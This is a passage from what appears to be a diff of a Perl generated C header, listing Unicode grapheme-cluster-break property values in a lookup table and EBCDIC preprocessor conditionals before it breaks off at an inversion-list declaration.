GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_L, - GCB_V, - GCB_T, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Extend, - GCB_ZWJ, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_L, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_Other, - GCB_V, - GCB_Other, - GCB_T, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Prepend, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Control, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Regional_Indicator, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Modifier, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base_GAZ, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Control, - GCB_Extend, - GCB_Control, - GCB_Extend, - GCB_Control, - GCB_Other -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_GCB_invlist[] = { /* for 